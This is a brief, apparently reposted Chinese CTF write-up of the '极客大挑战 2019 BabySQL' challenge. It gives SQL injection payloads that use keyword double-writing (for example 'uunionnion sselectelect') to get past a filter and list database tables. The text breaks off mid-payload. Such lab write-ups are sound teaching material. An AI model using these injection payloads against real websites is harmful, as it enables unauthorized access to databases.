[极客大挑战 2019]BabySQL

打开题目

发现上面写自从前几次网站被日，我对我的网站做了严格的过滤，你们这些黑客死心吧！！！
所以我们看一下是怎么过滤的吧！输入select

看来是把一些关键词过滤成了空格，可以使用经典的双写绕过
经检查，发现select，from，where，union
查询表列数、显示位、版本、用户什么的就省略了，
查询表名1' uunionnion sselectelect 1,2,group_concat(table_name) frfromom information_schema.tables wwherehere table_schema=database()#

结果显示Table 'infmation_schema.tables' doesn't exist
原来or也被过滤了，修改为1' uunionnion sselectelect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables wwherehere table_schema

[极客大挑战 2019]BabySQL最先出现在Python成神之路。